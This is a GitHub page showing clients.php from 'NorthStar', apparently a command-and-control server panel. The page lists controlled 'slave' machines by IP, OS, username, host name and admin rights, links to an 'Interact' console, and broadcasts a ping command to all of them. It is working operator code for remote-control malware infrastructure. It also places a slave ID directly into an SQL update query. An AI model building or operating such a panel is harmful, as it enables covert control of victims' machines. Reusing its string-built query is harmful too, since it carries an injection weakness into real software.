-
Notifications
You must be signed in to change notification settings - Fork 1
/
clients.php
229 lines (198 loc) · 8.72 KB
/
clients.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
<?php
include 'session.php';
include 'conn.php';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<title>NorthStar - Dashboard</title>
<link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
<link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet" type="text/css">
<link href="css/ruang-admin.min.css" rel="stylesheet">
<script>
function reload()
{
setTimeout(function(){
location.reload();
}, 60000);
}
function broadcastPing(){
broadcasting = true;
var csrfToken = "<?php echo $_SESSION['token'];?>";
var xhr = new XMLHttpRequest();
xhr.open("POST", '/functions/setCommand.nonfunction.php', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() { // Call a function when the state changes.
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
if(!xhr.responseText.includes("error"))
{
document.getElementById("reloadButton").value = " ";
document.getElementById("reloadButton").disabled = true;
document.getElementById("reloadButton").className = "spinner-border";
setTimeout(function(){
broadcasting = false;
location.reload();
}, 15000);
}
else
{
document.getElementById("reloadErrControl").innerHTML = xhr.responseText;
}
}
}
xhr.send("slave=broadcast&command=ping&token=" + csrfToken);
}
function showOnlines(){
var checkbox = document.getElementById('showSwitch');
if(checkbox.checked){
var elements = document.querySelectorAll("[id='offline']");
for(var i = 0; i < elements.length; i++)
elements[i].style.display='none';
}
else{
var elements = document.querySelectorAll("[id='offline']");
for(var i = 0; i < elements.length; i++)
elements[i].style.display='';
}
}
reload();
</script>
</head>
<body id="page-top">
<div id="wrapper">
<!-- Sidebar -->
<ul class="navbar-nav sidebar sidebar-light">
<a class="sidebar-brand d-flex align-items-center justify-content-center" href="index.php">
<div class="sidebar-brand-text mx-3">NorthStar</div>
</a>
<hr class="sidebar-divider my-0">
<li class="nav-item">
<a class="nav-link" href="index.php">
<i class="fas fa-fw fa-tachometer-alt"></i>
<span>Dashboard</span></a>
</li>
<li class="nav-item">
<a class="nav-link" href="clients.php">
<i class="fas fa-fw fa-desktop"></i>
<span>Sessions</span></a>
</li>
<li class="nav-item">
<a class="nav-link" href="logs.php">
<i class="fas fa-fw fa-history"></i>
<span>Server Logs</span></a>
</li>
<li class="nav-item">
<a class="nav-link" href="user.php">
<i class="fas fa-fw fa-user"></i>
<span>User Settings</span></a>
</li>
<hr class="sidebar-divider">
<div class="version" id="version-ruangadmin"></div>
</ul>
<!-- Sidebar -->
<div id="content-wrapper" class="d-flex flex-column">
<div id="content">
<!-- TopBar -->
<div id="content-wrapper" class="d-flex flex-column">
<div id="content">
<!-- TopBar -->
<nav class="navbar navbar-expand navbar-light bg-navbar topbar mb-4 static-top">
<ul class="navbar-nav ml-auto">
<li class="nav-item dropdown no-arrow">
<a class="nav-link dropdown-toggle" href="/logout.php" role="button" aria-expanded="false">
<i class="fas fa-sign-out-alt fa-sm fa-fw text-gray-400"></i>
<span class="ml-2 d-none d-lg-inline text-white small">Logout</span>
</a>
</li>
</ul>
</nav>
<!-- Container Fluid-->
<div class="container-fluid" id="container-wrapper">
<div class="d-sm-flex align-items-center justify-content-between mb-4">
<h1 class="h3 mb-0 text-gray-800">SESSIONS</h1>
</div>
<input type="button" id="reloadButton" value="Reload" class="btn btn-sm btn-primary" onclick="broadcastPing();">
<br><p id="reloadErrControl"></p>
<div class="custom-control custom-switch">
<input type="checkbox" class="custom-control-input" id="showSwitch" onclick="showOnlines();">
<label class="custom-control-label" for="showSwitch">Show Only Alive Sessions</label>
</div>
<div class="table-responsive p-3">
<table class="table align-items-center table-flush" id="dataTable">
<thead class="thead-light">
<tr>
<th>ID</th>
<th>SlaveID</th>
<th>Ip Address</th>
<th>Operating System</th>
<th>Username</th>
<th>Host Name</th>
<th>Is Admin</th>
<th>Status</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php
$num = 1;
$res = $conn->query("SELECT TIMESTAMPDIFF(SECOND, slaveLatestAction, NOW()) as timestamp, slaveWaitTime, slaveId, slaveLatestAction, slaveIp,slaveUser,slaveDate,slaveStatus,slaveOperatingSystem,slaveWorkingDir, slaveMachineName, slaveIsAdmin from slaves where regCompleted='true' ORDER BY slaveStatus DESC, id DESC");
if($res->num_rows > 0)
{
while($row = $res->fetch_assoc()){
$slaveid = $row["slaveId"];
$slaveUser = $row["slaveUser"];
$timeDiff = $row["timestamp"];
$wTime = $row["slaveWaitTime"];
if($row["slaveStatus"] == "online" && abs($timeDiff) < $wTime + 8){
$status = "<span class='badge badge-success'>Online</span>";
echo "<tr name=\"online\">"."<td>". $num . "</td>"."<td>" . htmlspecialchars($row['slaveId']) . "</td>" . "<td>". htmlspecialchars($row["slaveIp"]) . "</td>" . "<td>" . htmlspecialchars($row["slaveOperatingSystem"]) ."</td>". "<td>" . htmlspecialchars($row["slaveUser"]) ."</td>" . "<td>" . htmlspecialchars($row["slaveMachineName"]) ."</td>"."<td>" . htmlspecialchars($row["slaveIsAdmin"]) ."</td>"."<td>" . $status . "</td>". "<td>"."<a class='btn btn-sm btn-dark'". "href='/interact.php?slave=". htmlspecialchars($slaveid) . "&sid=". htmlspecialchars($slaveid). "' target=\"_blank\">Interact</a>". "</td>" ."</tr>";
$num++;
}
else{
if($row["slaveStatus"] == "online"){
$conn->query("update slaves set slaveStatus='offline' where slaveId='$slaveid'");
}
$status = "<span class='badge badge-danger'>Offline</span>";
echo "<tr id=\"offline\">"."<td>". $num . "</td>"."<td>" . htmlspecialchars($row['slaveId']) . "</td>" . "<td>". htmlspecialchars($row["slaveIp"]) . "</td>" . "<td>" . htmlspecialchars($row["slaveOperatingSystem"]) ."</td>". "<td>" . htmlspecialchars($row["slaveUser"]) ."</td>" . "<td>" . htmlspecialchars($row["slaveMachineName"]) ."</td>"."<td>" . htmlspecialchars($row["slaveIsAdmin"]) ."</td>"."<td>" . $status . "</td>". "<td>"."<a class='btn btn-sm btn-dark'". "href='/interact.php?slave=". htmlspecialchars($slaveid) . "&sid=". htmlspecialchars($slaveid). "' target=\"_blank\">Interact</a>". "</td>" ."</tr>";
$num++;
}
}
}
?>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!---Container Fluid-->
</div>
<!-- Footer -->
<footer class="sticky-footer bg-white">
<div class="container my-auto">
<div class="copyright text-center my-auto">
<span>copyright © <script> document.write(new Date().getFullYear()); </script> - developed by
<b><a href="https://engindemirbilek.github.io" target="_blank">Engin Demirbilek</a></b>
</span>
</div>
</div>
</footer>
<!-- Footer -->
</div>
</div>
<!-- Scroll to top -->
<a class="scroll-to-top rounded" href="#page-top">
<i class="fas fa-angle-up"></i>
</a>
<script src="vendor/chart.js/Chart.min.js"></script>
</body>
</html>